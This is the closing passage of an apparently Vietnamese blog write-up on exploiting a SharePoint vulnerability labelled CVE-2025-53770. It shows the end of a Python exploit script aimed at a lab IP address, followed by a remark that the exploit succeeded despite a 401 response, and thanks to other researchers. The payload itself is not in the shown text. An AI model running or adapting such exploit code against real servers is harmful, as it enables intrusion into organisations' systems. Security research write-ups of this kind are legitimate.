                    print("[!] Possible error in response")
            else:
                print(f"[!] Unexpected status code: {response.status_code}")

        except requests.exceptions.Timeout:
            print("[!] Request timed out")
        except requests.exceptions.ConnectionError:
            print("[!] Connection error - target may be down")
        except Exception as e:
            print(f"[!] Error: {e}")

def main():
    print("=" * 50)
    print("SharePoint CVE-2025-53770 Exploit")
    print("=" * 50)
    target_host = "192.168.110.237" 
    target_port = 8888 

    exploit = SharePointExploit(target_host, target_port)
    exploit.exploit()

if __name__ == "__main__":
    main()

Kết quả, như bạn thấy code 401 vẫn được trả về tuy nhiên exploit đã thành công

Cuối cùng , cảm ơn anh Khoadha, anh Jang đã để lại blog giải thích cho cộng đồng. Cảm ơn mn đã đọc bài, hơi dài tí hẹ hẹ =)))

More from this blog

NgocKhanh

17 posts

Luck in the rush